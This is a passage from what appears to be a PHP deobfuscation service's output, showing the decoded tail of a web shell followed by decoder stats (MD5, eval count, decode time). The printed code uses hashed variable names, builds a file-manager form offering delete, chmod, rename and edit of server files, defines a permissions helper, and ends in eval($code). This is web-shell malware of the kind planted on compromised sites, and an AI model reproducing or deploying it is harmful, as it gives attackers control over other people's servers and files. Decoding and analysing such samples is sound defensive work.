if(is_writable(\$_a881949dfa69f00e72eafbfb766c9552b6999042.'/'.\$_703957b6dd9e3a7980e040bee50ded65) || !is_readable(\$_a881949dfa69f00e72eafbfb766c9552b6999042.'/'.\$_703957b6dd9e3a7980e040bee50ded65)) echo '</font>'; echo '</center></td>\xA<td><center><form method=\"POST\" action=\"?option&path='.\$_a881949dfa69f00e72eafbfb766c9552b6999042.'\">\xA<select name=\"opt\">\xA<option value=\"\">Select</option>\xA<option value=\"delete\">Delete</option>\xA<option value=\"chmod\">Chmod</option>\xA<option value=\"rename\">Rename</option>\xA<option value=\"edit\">Edit</option>\xA</select>\xA<input type=\"hidden\" name=\"type\" value=\"file\">\xA<input type=\"hidden\" name=\"name\" value=\"'.\$_703957b6dd9e3a7980e040bee50ded65.'\">\xA<input type=\"hidden\" name=\"path\" value=\"'.\$_a881949dfa69f00e72eafbfb766c9552b6999042.'/'.\$_703957b6dd9e3a7980e040bee50ded65.'\">\xA<input type=\"submit\" value=\">\">\xA</form></center></td>\xA</tr>'; } echo '</table>\xA</div>'; } echo '<center><br/> OHA YOOOO </center>\xA</body>\xA</html>'; function perms(\$_f65953a56bb9040f82e914d393f98c4569fe2c80){ \$_97a0ab0bcc6456082aa33bc45262d05e = fileperms(\$_f65953a56bb9040f82e914d393f98c4569fe2c80); if ((\$_97a0ab0bcc6456082aa33bc45262d05e & 0xC000) == 0xC000) { \$_3efce53c52404d3fb3b4c6e7782bc8e1 = 's'; } elseif ((\$_97a0ab0bcc6456082aa33bc45262d05e & 0xA000) == 0xA000) { \$_3efce53c52404d3fb3b4c6e7782bc8e1 = 'l'; } elseif ((\$_97a0ab0bcc6456082aa33bc45262d05e & 0x8000) == 0x8000) { \$_3efce53c52404d3fb3b4c6e7782bc8e1 = '-'; } elseif ((\$_97a0ab0bcc6456082aa33bc45262d05e & 0x6000) == 0x6000) { \$_3efce53c52404d3fb3b4c6e7782bc8e1 = 'b'; } elseif ((\$_97a0ab0bcc6456082aa33bc45262d05e & 0x4000) == 0x4000) { \$_3efce53c52404d3fb3b4c6e7782bc8e1 = 'd'; } elseif ((\$_97a0ab0bcc6456082aa33bc45262d05e & 0x2000) == 0x2000) { \$_3efce53c52404d3fb3b4c6e7782bc8e1 = 'c'; } elseif ((\$_97a0ab0bcc6456082aa33bc45262d05e & 0x1000) == 0x1000) { \$_3efce53c52404d3fb3b4c6e7782bc8e1 = 'p'; } else { \$_3efce53c52404d3fb3b4c6e7782bc8e1 = 'u'; } \$_3efce53c52404d3fb3b4c6e7782bc8e1 .= ((\$_97a0ab0bcc6456082aa33bc45262d05e & 0x0100) ? 'r' : '-'); \$_3efce53c52404d3fb3b4c6e7782bc8e1 .= ((\$_97a0ab0bcc6456082aa33bc45262d05e & 0x0080) ? 'w' : '-'); \$_3efce53c52404d3fb3b4c6e7782bc8e1 .= ((\$_97a0ab0bcc6456082aa33bc45262d05e & 0x0040) ? ((\$_97a0ab0bcc6456082aa33bc45262d05e & 0x0800) ? 's' : 'x' ) : ((\$_97a0ab0bcc6456082aa33bc45262d05e & 0x0800) ? 'S' : '-')); \$_3efce53c52404d3fb3b4c6e7782bc8e1 .= ((\$_97a0ab0bcc6456082aa33bc45262d05e & 0x0020) ? 'r' : '-'); \$_3efce53c52404d3fb3b4c6e7782bc8e1 .= ((\$_97a0ab0bcc6456082aa33bc45262d05e & 0x0010) ? 'w' : '-'); \$_3efce53c52404d3fb3b4c6e7782bc8e1 .= ((\$_97a0ab0bcc6456082aa33bc45262d05e & 0x0008) ? ((\$_97a0ab0bcc6456082aa33bc45262d05e & 0x0400) ? 's' : 'x' ) : ((\$_97a0ab0bcc6456082aa33bc45262d05e & 0x0400) ? 'S' : '-')); \$_3efce53c52404d3fb3b4c6e7782bc8e1 .= ((\$_97a0ab0bcc6456082aa33bc45262d05e & 0x0004) ? 'r' : '-'); \$_3efce53c52404d3fb3b4c6e7782bc8e1 .= ((\$_97a0ab0bcc6456082aa33bc45262d05e & 0x0002) ? 'w' : '-'); \$_3efce53c52404d3fb3b4c6e7782bc8e1 .= ((\$_97a0ab0bcc6456082aa33bc45262d05e & 0x0001) ? ((\$_97a0ab0bcc6456082aa33bc45262d05e & 0x0200) ? 't' : 'x' ) : ((\$_97a0ab0bcc6456082aa33bc45262d05e & 0x0200) ? 'T' : '-')); return \$_3efce53c52404d3fb3b4c6e7782bc8e1; }";
eval($code) ;
?>
Function Calls
None |
Stats
MD5 | d0ca8d1f9efb5fab0ad246e8baeb7207 |
Eval Count | 0 |
Decode Time | 108 ms |